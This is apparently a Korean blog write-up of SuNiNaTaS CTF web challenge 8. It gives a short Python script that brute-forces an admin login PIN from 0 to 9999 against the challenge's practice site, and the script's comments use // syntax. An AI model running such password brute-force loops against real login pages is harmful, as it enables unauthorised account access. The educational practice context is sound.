써니나타스 8번 문제풀이 Write Up 입니다.
로그인 창이 보입니다.
F12를 눌러보니 힌트가 보입니다. ID는 admin이고 PW는 0부터 9999 중 하나라고 합니다.
어짜피 0~9999니까, brute force 때려서 문제 풀도록 하겠습니다.
import requests
from bs4 import BeautifulSoup as bs
URL = 'http://suninatas.com/challenge/web08/web08.asp'
for i in range(0,10000): // 0 ~ 9999 반복
data = {'id' : 'admin', 'pw' : i} // 로그인 데이터 변수
res = requests.post(URL, data = data) // post로 로그인 데이터 전송
ctf = bs(res.content, 'html.parser') // bs로 html.parser 가져오기
result = ctf.select_one('table > tr:nth-of-type(5)').get_text().strip() // Login 버튼 밑에 있는 글자 가져오기
print(str(i) + " : " + result) // 결과 출력
if(result != "Password Incorrect!"): // PW 일치하면 반복 종료
break
python으로 접속 후 0 ~ 9999 입력하는 코드입니다.
library는 requests, BeautifulSoup를 사용했습니다.
python으로 해당 코드를 실행한 뒤 인내심을 가지고 기다리면 flag가 나옵니다.
'CTF > SuNiNaTaS' 카테고리의 다른 글
[CTF] SuNiNaTaS(써니나타스) 10번 Write-Up | Reversing (0) | 2022.10.27 |
---|---|
[CTF] SuNiNaTaS(써니나타스) 9번 Write-Up | Reversing (0) | 2022.10.27 |
[CTF] SuNiNaTaS(써니나타스) 7번 Write-Up | Web (0) | 2022.10.05 |
[CTF] SuNiNaTaS(써니나타스) 6번 Write-Up | Web (0) | 2022.10.05 |
[CTF] SuNiNaTaS(써니나타스) 5번 Write-Up | Web (0) | 2022.10.02 |
댓글